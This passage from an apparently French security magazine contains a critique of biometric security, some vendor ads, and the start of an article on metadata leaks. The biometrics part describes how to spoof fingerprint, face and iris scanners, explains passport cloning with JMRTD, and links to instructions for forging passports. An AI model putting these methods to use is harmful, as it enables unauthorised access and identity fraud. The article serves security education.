chers, équipés de plusieurs capteurs, n'est 
pas forcement liée à leur qualité. Il est plus 
probable que les attaquants n'ont pas 
d'accès aux capteurs utilisés, par exemple, 
par l'armée ou réalisés à la commande et 
donc ne peuvent pas vérifier comment ils 
peuvent les tromper.

Si nous trouvons toutefois un cas où 
le doigt d'un employé a été copié, nous 
sommes sans défense. Il est impossible 
de modifier ses lignes papillaires comme 
on peut modifier un mot de passe. Il est 
nécessaire de remplacer le système par 
un meilleur.

En conclusion, les scanneurs 
populaires de lignes papillaires installés 
dans les ordinateurs portables peuvent 
servir pour faciliter l'accès et leur 
utilisation réduit le niveau de sécurité. Un 
utilisateur de l'ordinateur portable y laisse 
énormément de traces : sur le clavier, le 
boîtier, etc. C'est comme s'il laissait un 
postit avec le mot de passe collé 
à l'écran de l'ordinateur. Pour accéder 
à un ordinateur protégé, il suffit de prélever 
une des empreintes laissées, de créer 
un doigt artificiel et de l'autoriser dans 
le système. Il est possible de le faire 
chez soi. Ceci donne l'accès à la plupart 
de fonctions sous Vista bien que les 
fonctions clés sont protégées par un mot 
de passe standard. Les concepteurs 
du système étaient obligés de prendre 
en considération qu'une empreinte 
digitale n'était pas une protection 
efficace. Malheureusement, les données 
privées d'utilisateur restent accessibles. 
Un grand risque se trouve dans le fait 

Figure 5. Les empreintes digitales ont plusieurs caractéristiques. L'une d'entre elles, 
c'est la direction dans laquelle sont placées les lignes papillaires. Il y en a six : arc, 
arc en tente, boucle à droite, boucle à gauche, tourbillon, boucles doubles. D'autres 
caractéristiques sont aussi faciles à analyser
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SecureIP Solutions
La sécurité de l’information est une chose importante pour les entreprises et même 
pour les particuliers. C’est pourquoi SecureIP Solutions vous propose différents 
produits et services pour protéger vos précieuses données tels qu’un service de 
sauvegarde en ligne, les différents produits BitDefender et bien plus encore. 
http://www.secureip.ca

NUMERANCE
NUMERANCE, Spécialisée dans la sécurité informatique, intervient auprès des 
Petites et Moyennes Entreprises, en proposant des prestations d’audit, d’accompa-
gnement, et de formation.
http://www.numerance.fr

Hervé Schauer Consultants
Hervé Schauer Consultants : 17 ans d'expertise en Sécurité des Systèmes d'Infor-
mation Nos formations techniques en sécurité et ISO27001 sont proposées à Pa-
ris, Toulouse, et Marseille. http://www.hsc.fr/services/formations/cataloguehsc.pdf
Informations : formations@hsc.fr - +33 (0)141 409 704

TippingPoint
TippingPoint est un leader mondial dans la prévention des intrusions réseaux  
(Network IPS) de 50Mbps à 10Gigabits ainsi que la vérification d’intégrité de po-
ste et le contrôle d’accès du réseau (NAC).
Tél : 01 69 07 34 49, E-mail : francesales@tippingpoint.com 
http://www.tippingpoint.com

Sysdream
Cabinet de conseil et centre de formation spécialisé en sécurité informatique. L’e-
xpérience c'est avant tout les recherches publiques, visant à améliorer la sécurité 
des applications et des systèmes d’informations. Les résultats disponibles sur des 
portails de recherche, dans la presse spécialisés. 
http://www.sysdream.com

MICROCOMS
Microcoms est une société spécialisée dans les produits Microsoft qui a pour  
vocation d'aider les particuliers, les TPE-PME et les professions libérales sur 6 
axes principaux de l'informatique : Assister, Dépanner, Conseiller, Sécuriser, For-
mer, Maintenir.
Tél. : 01.45.36.05.81
e-mail : contact@microcoms.net
http://www.microcoms.net

ALTOSPAM
Ne perdez plus de temps avec les spams et les virus. Sécurisez simplement vos 
emails professionnels. ALTOSPAM est un logiciel externalisé de protection de la 
messagerie électronique : anti-spam, anti-virus, anti-phishing, anti-scam...  
Testez gratuitement notre service, mis en place en quelques minutes.  
http://www.altospam.com OKTEY – 5, rue du Pic du Midi – 31150 GRATENTOUR
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qu'une fois l'empreinte digitale volée, elle 
pourra être utilisée pendant des années. 
Une meilleure manière de se protéger 
consiste à opter pour des scanneurs peu 
populaires qui prennent la tension ou 
analysent la structure de veines dans le 
doigt en plus de la structure de lignes.

fais voir ton visage...
Les systèmes de reconnaissance de 
visage doivent être utilisés plutôt pour 
les vérifications (par exemple, trouver un 
criminel dans une foule) que pour les 
autorisations (par exemple, ouverture de 
la porte, passer la frontière, démarrer un 
système d'exploitation). Les recherches 
s'effectuent par exemple sur les aéroports 
comme une méthode peu invasive. 
Contrairement aux scanneurs de l'iris 
ou des lignes papillaires, la première 
étape consiste à isoler les visages dans 
l'image de la caméra. C'est une tâche 
complexe car les visages peuvent être 
tournés, baissés, à l'ombre, partiellement 
cachés, etc. Pour cette raison, le traitement 
se fait sur une série d'images. La 
deuxième étape consiste à trouver des 
caractéristiques du visage trouvé. Il peut 
s'agir notamment de la distance entre 
les yeux, la taille des lèvres, la forme du 
visage et la teinte de la peau. D'après 
ces données, on calcule un vecteur de 
caractéristiques enregistrées dans la 
base. Les systèmes peuvent fonctionner 
aussi bien sur les signaux à deux 
dimensions (images individuelles), à trois 
dimensions (modèles individuels 3D ou 
films) ou à quatre dimensions (modèle 
3D en mouvement). Dans le cas des 
systèmes basés sur le mouvement, on 
analyse en plus d'autres caractéristiques 
comme la fréquence de clignements.

Une base de données parfaite 
ne doit contenir que les vecteurs de 
caractéristiques et non les images. Même 
une petite photo se compose des centaines 
milliers de photos et comparer deux fichiers 
graphiques différents prend trop de temps 
pour trouver des visages dans la foule 
en temps réel (ou presque). Il existe une 
manière plus sûre : la personne qui accède 
à la base de données ne saura pas à quoi 
ressemble en réalité une personne donnée.

Malheureusement, on stocke souvent 
aussi bien les vecteurs que les images 

(par exemple, dans les passeports).  
La plus simple attaque consiste donc  
à récupérer une image ou un vecteur de 
caractéristiques (s'il n'est pas chiffré)  
et à l'envoyer au système. Si le 
programme est géré automatiquement, il 
est possible de le tromper en lui montrant 
une photo au lieu d'un visage. Dans le cas 
d'outils plus avancés, c'est impossible : 
le scan dure plusieurs secondes où on 
analyse la fréquence de clignements. 
Si la base ne contient que les vecteurs 
de caractéristiques, il est  impossible de 
restituer le visage sur leur base. En effet,  
le risque existe que deux personnes 
soient considérées comme les mêmes.

Les études réalisées dans les gares 
allemandes le confirment. Les systèmes 
de reconnaissance de visages ont été 
testés sur un groupe de volontaires qui 
devraient se comportent comme toujours 
pendant un voyage. Les résultats ne sont 
pas encourageants : en moyenne, on 
a trouvé 30 % (et 60 % dans le meilleur 
de cas) de photos correspondant aux 
visages. Bruce Schneier, spécialiste 
dans la question de sécurité, considère 

que le résultat serait suffisant car après 
avoir pris plusieurs photos, il est possible 
d'obtenir une plus grande précision. 
Malheureusement, 0,1 % de cas n'ont 
pas été correctement attribués pendant 
les tests. En plus de 2000 volontaires, le 
système reconnaissait en moyenne 23 
personnes complètement dif férentes tous 
les jours.

...ou sa photo
Tromper un système peut avoir deux 
objectifs. Premièrement, nous voulons 
prendre l'identité de quelqu'un d'autre. 
De l'autre côté, le but peut être de rester 
anonyme. La reconnaissance de visage 
n'est pas souvent utilisée comme un 
système d'autorisation en raison des outils 
peu fiables mais il est toutefois possible 
d'imaginer cette utilisation dif férente. 
Les systèmes facilitant la connexion au 
système peuvent en faire des exemples. 
Malheureusement, leur efficacité est 
très faible. Comme ils se servent d'une 
caméra intégrée dans l'ordinateur 
portable, la résolution de photos est très 
faible. Ils ne peuvent pas analyser si 

Figure 6. L'empreinte digitale de Wolfgang Schäuble, ministre allemand de l'Intérieur. 
Son impression permet de tromper 90 % de scanneurs
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l'image est tridimensionnelle. Il suffit donc 
de leur montrer une photo imprimée de la 
victime, voire une photo prise par l'appareil 
dans un téléphone et affichée à l'écran. 
Dans ce dernier cas, la photo doit être 
claire et tenue à la main sans bouger 
pendant plusieurs secondes mais cette 
méthode est efficace. Comme la qualité 
de la photo ne doit pas être très bonne, 
il est possible de la récupérer sur un des 
sites de communautés.

Les systèmes d'autorisation basés 
seulement sur une photo sont utilisés très 
rarement. La recherche des personnes 
dans une foule est une solution plus 
fréquente. Dans ce cas-là, l'objectif 
principal de tromper le système est de 
rester anonyme. Les programmes de 
reconnaissance recherchent dans un 
premier temps les yeux, ensuite passent 
aux limites du visage (en utilisant le seuil). 
Ensuite, ils analysent l'emplacement des 
lèvres, du nez, des oreilles, des sourcils, 
etc. Il s'agit en général de plusieurs  
à plusieurs dizaines d'indices. Il est naturel 
de cacher les yeux par exemple avec 
des lunettes de soleil ou à l'ombre d'un 
chapeau. La tête baissée ou une lumière 
inadéquate rendent également impossible 
de faire correspondre une image aux 
données de la base. Tourner la tête à un 
angle rendant dif ficile l'identification peut 
être dif ficile car la technique consiste 
à récupérer les films dans les grandes 
zones : la personne peut ne pas voir 
toutes les caméras. En général, elles sont 
montées en hauteur (dans les centres 
villes, les aéroports) donc baisser la 
tête est une meilleure solution que de la 
tourner.

Le système de surveillance utilisé 
aux États-Unis a été complètement 
compromis lorsqu'il s'est avéré que son 
efficacité était beaucoup moins grande 
que prévu. Il avait pour but de comparer 
les photos de caméras à celles de la 
base de données nationale, contenant 
des copies de photos des permis de 
conduite, des passeports, etc. Le plus 
grand défaut de cette idée était lié au fait 
que la plupart de personnes souriaient sur 
les photos et ne le faisaient pas lorsqu'ils 
allaient prendre une place à l'avion. C'est 
un grand problème pour les systèmes : 
avec le sourire, le visage change trop 

sa forme. Pour résoudre le problème, il 
faudrait attribuer à tout le monde plusieurs 
photos mais certains états américains ont 
décidé d'interdire de sourire sur les photos 
prises pour les permis et les passeports. 
Tous les systèmes basés sur la technique 
de reconnaissance de visage sont 
actuellement trop faibles et ne sont pas 
efficaces dans les conditions dif férentes 
aux conditions parfaites pour servir 
d'une protection suffisante. Les systèmes 
doivent être gérés par des personnes qui 
contrôlent le processus de scan.

Les techniques de traitement d'images 
utilisées actuellement sont peu efficaces 
dans la reconnaissance de visages pour 
servir d'authentification. Les problèmes 
se trouvent aussi bien du côté technique 
(problèmes relatifs au traitement 
d'images) que physique (mimique de 
visage qui change, visage caché). Un 
grand nombre de fausses alarmes 
(c'est-à-dire, une attribution erronée d'une 
personne à une photo de la personne 
recherchée) constitue un défaut des 
systèmes de ce type. Pour tromper les 
programmes utilisés actuellement, il suffit 
de sourire pendant la prise de la photo 
pour la base de données et être sérieux 
pendant le contrôle (ou inversement). 
Accéder à un système protégé par un 
capteur de visage est aussi simple :  
il suffit de lui montrer une photo.

iris – le seul dans son genre
L'une des manières les plus efficaces 
d'autorisation à l'aide de la biométrie 
consiste à scanner l'iris. D'après des 
études diverses et variées, sa forme 
finale se définit entre le troisième mois 
de  grossesse et la deuxième année 
de vie d'un homme et peut donc servir 
quasiment à tout le monde. De plus, 
l'oeil est toujours protégé contre les 
endommagements et la forme de l'iris 
reste inchangée tout au long de la vie (à 
l'exception des incidents imprévisibles). 
Contrairement aux empreintes digitales, 
les iris des jumeaux monozygotes sont 
dif férents. Si on réussit à cloner un 
homme dans l'avenir, sa copie aurait un 
iris dif férent. Jusqu'à présent, on n'a pas 
trouvé deux iris identiques. Ils sont donc le 
plus probablement uniques pour chacun 
d'entre nous. Si, en cas d'empreintes 

digitales, nous parlons de plusieurs 
dizaines de points caractéristiques 
maximum, dont seuls plusieurs sont 
utilisés, l'iris de chaque personne en 
contient plus de 260. En scannant 
deux yeux, nous obtenons plus de 500 
caractéristiques. Ceci peut être prometteur 
mais la mise en place des systèmes de 
reconnaissance d'iris n'est pas si simple 
et les anciens appareils sont, malgré les 
apparences, faciles à tromper.

Le scan fonctionne de la même 
manière que pour l'empreinte digitale : 
les points recherchés, ce sont des 
caractéristiques, les vecteurs de 
caractéristiques sont définis et le résultat 
enregistré dans la base de données.  
En raison du nombre de points analysés, 
on effectue dans un premier temps des 
tests généraux et si les résultats sont 
positifs – d'autres tests sont réalisés. 
Malheureusement, les scanneurs ne 
sont pas infaillibles. Bien que d'après les 
fabricants leur efficacité soit proche de 
100 %, en pratique, ils échouent face aux 
personnes sobres, fatiguées et lucides.  
Il en est ainsi car les vaisseaux sanguins 
sont alors très étendus.

La structure délicate d'un oeil 
vascularisé fait perdre les caractéristiques 
de l'iris quelques secondes après la 
mort du propriétaire. Nous n'avons donc 
pas à craindre qu'un attaquant pourrait 
arracher un oeil pour tromper le système, 
à condition qu'il sache que c'est inutile. 
Dans le cas des anciens appareils, il est 
toutefois possible de les tromper. Nous 
pouvions tromper la première génération 
des scanneurs avec une photo à 
condition que sa résolution ait été élevée.

Dans les appareils plus récents, une 
protection supplémentaire a été mise 
en place : analyse de reflets. Au premier 
abord, il semblerait qu'un papier photo 
brillant pourrait être utilisé pour tromper le 
scanneur. Cette solution n'est pas toutefois 
suffisante. Quatre réflets se forment dans 
l'oeil suite à la réfraction de la lumière 
du fond de l'oeil. Il n'est pas toutefois 
nécessaire d'analyser un modèle à trois 
dimensions. Les tests effectués sur les 
scanneurs utilisés dans les aéroports en 
Arabie Saoudite ont démontré qu'il était 
beaucoup plus simple de tromper les 
appareils. Il suffit de découper un trou 
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dans la photo dans l'emplacement de l'iris 
et poser cette photo sur son propre oeil. 
Le capteur détectera les reflets corrects 
dans notre oeil et sur la photo brillante  
et passera à l'analyse de l'iris.

Il est impossible de tromper les 
scanneurs les plus récents de cette 
manière. Ils reposent sur les micro-
mouvements du globe oculaire, 
caractéristiques pour chacun d'entre nous. 
Une autre manière consiste à utiliser la 
lumière infrarouge qui analyse la chaleur 
dif fusée par les vaisseaux sanguins de 
l'oeil. Actuellement, il semblerait que cette 
protection soit impossible à briser mais 
si les nouveaux appareils deviennent 
plus populaires, une manière simple sera 
trouvée pour les tromper, comme c'était 
le cas des doigts artificiels. Le coût des 
scanneurs modernes qui prennent des 
photos infrarouges et analysent les micro-
mouvements pose un grand problème 
aux personnes qui souhaitent mettre en 
place un système biométrique basé sur le 
scan des iris. Il ne faut pas s'attendre à ce 
que ces appareils soient achetés par des 
sociétés civiles aussi souvent pour que 
les méthodes pour tromper les modèles 
les plus récents soient connues. Il faut 
s'attendre à ce qu'un appareil soit vieux, 
simple et donc plus facile à tromper.

Le côté unique d'iris, un grand nombre 
de caractéristiques et une analyse non 
invasive font que l'analyse d'iris est l'une 
des plus utiles méthodes biométriques. 
Malheureusement, les anciens capteurs 
peuvent être trompés très facilement en 
présentant une photo devant le scanneur. 
Les nouveaux appareils semblent 
relativement sécurisés mais sont chers. 
Ils seront donc utilisés moins souvent, pas 
dans les buts privés en tout cas.

une fois pour toutes
Un autre point concerne la manière de 
collecter et de stocker les informations 
biométriques. Nous utilisons l'empreinte 
digitale au travail car c'est pratique mais 
nous ne pouvons pas être sûrs qu'est-ce 
que lui va arriver. Les empreintes digitales, 
ce ne sont pas les données personnelles, 
d'après Michael Chertoff, secrétaire 
américain à la sécurité intérieure. Les 
administrateurs de bases de données 
peuvent donc faire quasiment tout avec 

ces bases. Les empreintes ne doivent 
pas être stockées sous forme publique, 
mais tant que l'enregistrement du vecteur 
de caractéristiques n'est pas standardisé, 
une solution contraire aurait rendu 
impossible l'échange d'informations entre 
les organisations.

La manière de stocker les données 
biométriques est aussi controverse. 
D'énormes bases de données, créées 
notamment par les gouvernements 
américaine, britannique et australien,  
et dans un moindre degré, européen, pose 
le risque de fuite d'informations. Même si 
ces informations ne sont pas utilisées tout 
de suite, elles peuvent l'être des années 
après. La durée de vie d'un mot de passe 
est plus courte que les caractéristiques 
non changeantes du corps. La personne 
qui obtient un accès aux informations 
biométriques pourra se connecter à tous 
les systèmes protégés de cette manière.

Ajouter des bases de données plus 
modernes peut également poser des 
problèmes. Si dans l'avenir, un nouvel 
ensemble d'informations apparaîtra, 
il peut contenir des données déjà 
collectées. Il doit donc être possible de 
déchiffrer les vecteurs de caractéristiques 
stockés. Dans le cas contraire, il serait 
nécessaire de les collecter pour une 
nouvelle fois. De plus, en cas d'échange 

d'informations entre des institutions 
dif férentes (par exemple, des pays qui 
emploient des systèmes différents), il 
faut avoir la possibilité d'échanger les 
empreintes digitales, les photos connues, 
etc. Pour le rendre possible, il faut stocker 
les données complètes et non seulement 
la fonction de hachage du vecteur de 
caractéristiques. 

C'est un autre argument pour affirmer 
que les données collectées une fois 
peuvent constituer un risque potentiel pour 
toujours. Collecter un grand nombre de 
données peut s'avérer inutile et augmenter 
la taille des bases. S'il s'avère qu'une 
partie d'informations est inutile, elles 
peuvent fuir.

Les personnes, qui pensent que le 
nombre de données n'est jamais suffisant, 
doivent s'intéresser au concours organisé 
par le gouvernement de la Grande 
Bretagne. Le gouvernement a en effet 
proposé que les utilisateurs inventent 
l'utilisation des données car il ne sait pas 
que faire avec. Cela n'empêche pas de 
continuer à les collecter. 

Beaucoup de données,  
un grand risque
Dans l'avenir, les employés malhonnêtes 
qui ont l'accès aux bases de données 
peuvent poser des problèmes. La Pologne 

Figure 7. Les fabricants de scanneurs biométriques recommandent officieusement 
de les utiliser uniquement comme un complément du système de contrôle et jamais 
comme la seule protection
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ne prévoit pas de créer une base de 
données centrale unique. Les données 
biométriques seront stockées dans 
plusieurs bureaux chargés d'émettre les 
passeports. Il existe toutefois des pays, 
comme la Grande Bretagne ou l'Australie, 
qui créent de grandes bases de données. 
Si des personnes non autorisées 
accèdent à ces informations, gérer 
l'ensemble de système n'aurait aucun 
sens. Il faut remarquer que la solution est 
plus complexe que la base de données 
elle-même. Des points d'où on collecte 
des données, des portails de contrôle 
(par exemple, sur les aéroports) et des 
systèmes de copies de sauvegarde  
y sont connectés. La protection de tous les 
sous-ensembles semble peu probable  
et onéreuse. Le système américain  
peut en être exemple. Son coût estimé  
à 40 millions de dollars a augmenté  
à un milliard. Comme le prix est 25 fois 
plus élevé que prévu, il est évident qu'on 
a découvert des défauts pendant la 
conception du système. Une question  
se pose : combien de failles reste-t-il  
à corriger ?

Collecter et stocker les données 
pose plus de risque que les tentatives 
individuelles pour tromper les systèmes 
biométriques. La taille du système, la 
nécessité d'échanger les informations 
entre les solutions non compatibles et 
l'impossibilité de modifier les données 
volées rendent les attaques très 
attrayantes. Les informations obtenues 
(par exemple, dans les passeports 
hollandais) peuvent devenir précieuses 
dans l'avenir lorsque la biométrie 
deviendra plus commune.

Biométrie à l'ordre
Les passeports mis en place depuis 
plusieurs années contiendront au moins 
deux informations biométriques. L'une 
d'entre elles, obligatoire, est une photo 
de visage, enregistrée au format JPG. La 
seconde proposée par certains pays, 
c'est l'empreinte digitale. Ces informations 
seront enregistrées dans la puce intégrée 
dans la couverture du passeport. Elle 
contient un circuit RFID, qui permet un 
accès sans fil à la mémoire du passeport 
d'une distance de 20 cm (jusqu'à 2 
mètres dans les bonnes conditions). 

Le RFID se prête à être utilisé dans 
les magasins et les boutiques mais 
sa mise en place dans les passeports 
n'avait pas de sens et a eu un impact sur 
la sécurité de ce document. Après une 
présentation effectuée au Pays-Bas en 
2006 pendant laquelle des informations 
ont été collectées sur les détenteurs de 
passeports présents à l'aéroport, des 
couvertures spéciales ont été introduites. 
Elles fonctionnent comme une cage de 
Farday (elles isolent l'intérieur contre 
les ondes électromagnétiques). Il est 
donc nécessaire actuellement d'ouvrir le 
passeport et de l'approcher du capteur, 
comme si le module de communication 
n'était pas sans fil. En ouvrant la 
couverture, quelqu'un (une personne à 
côté) peut faire des copies, ce qui poserait 
plus de problèmes dans le cas des 
systèmes nécessitant un contact direct.

Les passeports biométriques équipé 
de RFID sont utilisés actuellement par 
environ 45 pays. La puce contient plusieurs 
fichiers auxquels l'accès est quasiment 
illimité et la clé privée, stockée dans une 
zone inaccessible de la mémoire. Les 

données obligatoires sont les suivantes : 
informations personnelles (nom, date de 
naissance, sexe, etc.), photo enregistrée 
sous forme de fichier JPG ou JPG2000, 
fichier garantissant l'intégrité des données 
enregistrées et index de tous les fichiers. 
Les autres informations constituent une 
deuxième donnée biométrique (empreinte 
digitale) et une protection contre les 
copies. Les deux dernières données sont 
employées par cinq pays : l'Australie, le 
Canada, la Nouvelle-Zélande, le Japon 
et  leSingapour. Plusieurs pays testent 
les protections optionnelles (Allemagne, 
États-Unis, Grande Bretagne). La 
puce est capable de contenir d'autres 
caractéristiques biométriques mais 
personne ne prévoit de les ajouter pour 
l'instant.

Comme tous les pays n'enregistrent 
pas les informations, telles que l'empreinte 
digitale ou les données confirmant 
l'authenticité d'un document, elles sont 
ignorées. Les passeports des pays 
susmentionnés constituent une exception. 
Au lieu donc de cloner ou falsifier un 
passeport australien ou japonais, il est 

Figure 8. Les nouveaux scanneurs d'iris analysent les réflexions du fond de l'oeil afin 
de détecter des photos. On peut les tromper par une photo découpée au niveau de 
l'iris qu'on place sur notre visage et notre oeil.
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plus facile d'opter pour un pays qui n'a mis 
en place que des informations de base.

elvis a aussi son passeport
En raison des protections très faibles, 
l'accès aux données est très simple.  
Il suffit d'avoir un capteur (pas très cher) 
et un logiciel gratuit (par exemple, une 
application JMRTD, qui implémente le 
standard mis en place par International 
Civil Aviation Organization). Ils permettent 
de lire les informations dans le passeport 
et de les enregistrer sur une nouvelle 
carte, donc en pratique de les cloner. 
JMRTD générera lui-même les fichiers 
appropriés, y compris l'index et le fichier 
de contrôle.

Même dans le cas de l'absence 
d'accès à certaines informations, le 
programme Golden Reader Tool, utilisé 
aux frontières et dans les aéroports 
n'arrêtera pas un passeport falsifié. En 
cas d'une signature erronée, il affiche 
une erreur mais non critique (non-critical 
error) et en cas d'un hachage incorrect, 
il affiche un avertissement (warning). 
Un hacker appelé vonJeek a créé un 
passeport de Elvis Presley tout en ignorant 
les informations qui ne sont pas vérifiées 
et il a réussi à passer les contrôles. Pour 
réaliser un nouveau document, il suffit de 
disposer d'un simple capteur, d'une carte 
vide et du programme susmentionné. Le 
schéma exact de toutes les opérations  
à effectuer se trouve sur son site Web.

La situation pourrait changer si 
tous les pays utiliseraient l'ensemble 
des protections de passeports. Elles 
proposent deux manières de se 
protéger : Basic Access Authentication 
(BAC) et Active Authentication (AA). 
Les deux protections sont aujourd'hui 
optionnelles. BAC est une chaîne de 
caractères qui constitue les données 
chiffrées. Le numéro du document, la 

date de naissance et la date d'expiration 
du passeport constituent la clé pour 
déchiffrer les données. 3DES est 
l'algorithme de chiffrement. Toutes 
les informations sont publiques donc 
créer notre propre BAC ne pose aucun 
problème. Obtenir les informations initiales 
d'après un fichier chif fré ne prend pas non 
plus beaucoup de temps, ce qui résulte 
de la faiblesse de 3DES.

Active Authentication constitue une 
meilleure protection contre les tentatives 
d'amateurs de manipulation des 
passeports. Il se sert de la clé privée 
qui se trouve dans la zone de mémoire 
protégée. Les attaques connues ayant 
pour but de l'obtenir consistent à analyser 
la puissance dégagée par le système  
et les effectuer seulement au moyen  
d'un capteur est impossible.

Malgré tout cela, ces informations sont 
de toute façon ignorées actuellement. 
Le générateur de nombres aléatoires 
constitue un autre défaut de passeports. 
Le caractère aléatoire ne repose sur 
une seule variable : nombre de cycles 
d'horloge depuis le moment où le 
système est activé. Générer une réponse 
ne pose donc aucun problème.

Tant qu'un contrôle d'authenticité 
n'est pas mis en place par tous les 
pays, falsifier les passeports est 
particulièrement faciles et bon marché. 
Les tentatives de protection telles que 
fermer RFID dans la cage de Faraday 
et les amendes pour les manipulations 
sur les passeports ne feront pas fuir 
les fraudeurs potentiels. Utiliser même 
toutes les protections proposées par les 
passeports ne garantit pas la sécurité : 
elles sont déjà trop faibles.

Conclusion
Les appareils utilisant la biométrie ne 
doivent en aucun cas être employés 

comme une seule et unique protection de 
n'importe quelle donnée. Les scanneurs 
de visage et d'empreintes digitales 
populaires peuvent être trompés avec 
une photo. La sécurité des systèmes plus 
chers repose sur leur faible accessibilité 
et donc sur l'impossibilité de trouver les 
points faibles de l'appareil. Bien que les 
fabricants d'équipements biométriques 
affirment que leurs appareils augmentent 
la sécurité, c'est loin d'être vrai au jour 
d'aujourd'hui. Le plus grand défaut se 
trouve dans les principes de ce type de 
systèmes : une fois les données volées, 
elles permettront un accès constant aux 
services protégés. Pour cette raison, 
les systèmes biométriques peuvent 
être employés comme une protection 
supplémentaire (par exemple, mot de 
passe et scan de l'oeil) ou seuls pour 
faciliter un accès – pour les attaquants 
potentiels aussi d'ailleurs.

La question des passeports 
biométriques est similaire. Les institutions 
qui les mettent en place se rendent 
compte qu'il s'agit des solutions peu 
sûres. Le gouvernement américain a mis 
en place une peine de 25 ans de prison 
ferme aux personnes qui modifient les 
données présentes dans les passeports 
et certains états l'ont mise en place pour 
les personnes qui lisent les données 
envoyées par les systèmes RFID sans 
accord du propriétaire. La plupart de 
pays n'a protégé d'aucune manière les 
passeports de leurs citoyens, ce qui 
constitue une énorme faille. Copier des 
documents de certains pays est donc 
possible chez soi. Tant que les protections 
complètes ne sont pas mises en place, ce 
qui n'est pas pour l'instant prévu, collecter 
des données et copier des passeports 
biométriques est particulièrement simple.

Il faut admettre que la biométrie 
facilite la vie et l'accès aux données. 
Malheureusement, malgré les idées 
reçues, elle réduit en même temps le 
niveau de sécurité.

À propos de l'auteur
Journaliste publiant notamment dans le magazine 
« Magazyn Internet » et « PC World ». Il s'intéresse 
à l'anonymat, aux spams et à la cryptographie. 
Actuellement, il termine ses études à la faculté de 
l'Electronique et de Télécommunication à l'Ecole 
Polytechnique de Wroclaw.
Contact avec l'auteur : marcin@kosedowski.com.

Sur le Net
•  http://www.youtube.com/watch?v=MAfAVGES-Yc – film d'instructions comment réaliser un doigt 

artificiel,
•  http://freeworld.thc.org/thc-epassport/ – instructions exactes pour créer un passeport,
•  http://www.youtube.com/watch?v=0u4pg_XwNk8 – film qui démontre l'efficacité de la 

méthode ci-dessus,
•  http://www.youtube.com/watch?v=a00rXJ_51Cc – film qui démontre comment accéder à 

un ordinateur protégé par un capteur de visages.
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Dans la réalité numérique d'aujourd'hui, la 
plupart d'organisations génèrent, stockent 
et archivent leurs données sous forme 

numérique. Les systèmes informatiques intégrés 
de la classe ERP (en anglais Enterprise Resource 
Planning) permettent d'éviter d'enregistrer et de 
stocker des centaines de milliers des feuilles de 
papier. Les aspects positifs des technologies 
modernes ne sont pas toutefois à l'abri des 
risques relatifs à la sécurité d'informations, 
inconnus auparavant.

Ces risques sont liés à une caractéristique 
d'information numérique, à savoir ses attributs 
supplémentaires, invisibles au premier abord. Les 
informations supplémentaires qui caractérisent 
l'information principale, telles que la date de 
création ou de la dernière modification, s'appellent 
les métadonnées (en anglais metadata). Ce 
sont des données sur les données – c'est une 
description la plus brève de ces structures. Elles 
constituent un problème supplémentaire dans le 
domaine de sécurité des informations, quasiment 
inconnu dans le cas de données traditionnelles. 
Les métadonnées sont souvent ignorées dans les 
procédures de sécurité informatique alors que 
je démontrerai qu'elles peuvent provoquer une 
fuite importante de donnés dans les piles. Cette 
situation résulte probablement du fait qu'elles 
sont en apparence invisibles et qu'un problème 
similaire n'existe pas dans le cas de données 
traditionnelles. Ces points ne justifient pas tout de 
même les personnes responsables de la sécurité 

Wojciech Smol

Cet artiCle 
explique
la notion des métadonnées,

comment les cybercriminels 
peuvent utiliser les 
métadonnées,

la notion des outils employés 
par les crackers pour rechercher 
et traiter les métadonnées, 

Quelques cas authentiques 
d'une utilisation surprenante de 
métadonnées,

les bonnes pratiques dans 
l'administration de la sécurité 
des (méta)informations.

Ce qu'il faut 
savoir
connaître les questions de base 
relatives aux formats de fichiers 
les plus populaires,

connaître les types élémentaires 
d'attaques dont l'objectif consiste 
à collecter des informations,

connaître les opérateurs 
avancés utilisés dans le 
navigateur Google.

d'informations. Tous ceux qui pensent que la 
protection appropriée des données principales 
résout complètement le problème de sécurité  
des métadonnées se trompent aussi.

Il ne faut pas compter dans cette question 
sur l'ignorance des cybercriminels. Un cracker 
expérimenté sait sûrement manipuler les 
métainformations, parmi d'autre choses. Il doit 
non seulement utiliser les métadonnées pour 
collecter des informations pour attaquer mais 
aussi effacer les métadonnées générées lors 
de son activité criminelle (les métadonnées 
constituent l'un des objets de base qui  
intéressent l'informatique légale).

(Méta)données
Je n'ai pas utilisé l'orthographe (méta)données par 
hasard. Il n'est pas simple en effet de distinguer 
les données et les métadonnées. Nous sommes 
incapables d'indiquer des différences en analysant 
la nature de deux types d'informations. Il s'agit 
tout simplement des informations sous forme 
numérique. C'est le contexte, dans lequel nous 
envisageons l'information concrète, qui décide 
en pratique des différences. À titre d'exemple, 
les paroles d'une chanson enregistrée dans un 
fichier texte constituent des données. Si toutefois 
les mêmes paroles sont inclues au fichier son 
avec l'enregistrement de la chanson, les mêmes 
données deviennent des métadonnées. Il est 
donc impossible de distinguer ces deux points 
sans avoir d'informations supplémentaires sur 

Degré de difficulté

J'ai vos 
(méta)données !
les métadonnées constituent une sorte d'ADN des documents 
chiffrés. Regardez comment les cybercriminels sont capables 
d'utiliser les informations invisibles présentes dans les fichiers 
partagés publiquement.
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le contexte de l'information analysée. 
La tâche principale des métadonnées 
consiste à fournir des informations 
permettant d'interpréter correctement  
et d'utiliser l'information principale.  
À titre d'exemple, une suite de caractères 
75015 n'apporte pratiquement aucune 
information utile. Si les métadonnées 
code postal en France l'accompagnent 
toutefois, cela permettra de les utiliser 
correctement comme les données 
d'adresse. Une autre utilisation 
importante de métadonnées, qu'il  
faut évoquer, consiste à accélérer  
et à permettre une recherche 
d'informations principales à plusieurs 
critères (d'après de nombreux attributs 
qui caractérisent les données).

Nous pouvons considérer que 
les métadonnées accompagnent 
actuellement quasiment toutes les 
données numériques. Des exemples de 
structures de données, contenant des 
métainformations auxquelles il faut faire 
attention sont les suivants :

•  fichiers graphiques – comme 
le format JPG particulièrement 
populaire,

•  documents électroniques – tels que 
DOC et DOCX,

•  documents au format universel PDF.

Tous les trois types susmentionnés 
constituent un risque réel important 
pour la sécurité d'informations en raison 
de métadonnées qu'ils utilisent. C'est 
un risque aussi bien pour les grandes 
organisations que pour les particuliers. 
Peu de personnes s'en rendent compte 
toutefois.

une photo vaut plus  
que mille mots
Un proverbe connu dit qu'une image  
vaut plus que mille mots. Dans le cas 
des photos numériques, cette phrase 
prend une signification toute particulière.

La plupart d'appareils numériques 
créent des fichiers graphiques par défaut 
au format JPG. Ce n'est pas tout : ces 
appareils enregistrent le plus souvent 
aussi les métadonnées dans le fichier 
au format Exif (en anglais Exchangeable 
Image File Format). Sans entrer dans 
